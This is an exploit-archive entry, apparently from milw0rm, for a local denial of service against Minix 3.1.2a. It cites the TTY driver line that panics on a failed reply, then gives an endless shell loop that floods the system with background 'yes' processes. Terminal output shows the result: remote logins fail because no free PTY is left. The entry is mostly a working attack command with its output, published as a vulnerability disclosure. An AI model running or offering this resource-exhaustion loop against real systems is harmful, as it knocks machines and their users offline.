Minix 3.1.2a - Local TTY Panic (Denial of Service)

Author: kokanin
type: dos
platform: minix
port: 
date_added: 2008-07-22 
date_updated: 2017-10-04 
verified: 1 
codes:  
tags: 
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# kokanin@gmail 20080723
# minix 3.1.2a tty panic

trunk/src/drivers/tty/tty.c

 14965	  if ((status = send(replyee, &tty_mess)) != OK) {
 14966	        panic("TTY","tty_reply failed, status\n", status);

$ uname -a
Minix 192.168.1.2 3 1.2a i686
$ while true ; do (yes "yes yes minix uh ah"&) ; done
[snip snip]
$ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C

...disconnected

telnet 192.168.1.2
Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'.
I am sorry, but there is no free PTY left!
Connection closed by foreign host.

hai, no moar pty, kthxbye
--
kokanin

# milw0rm.com [2008-07-23]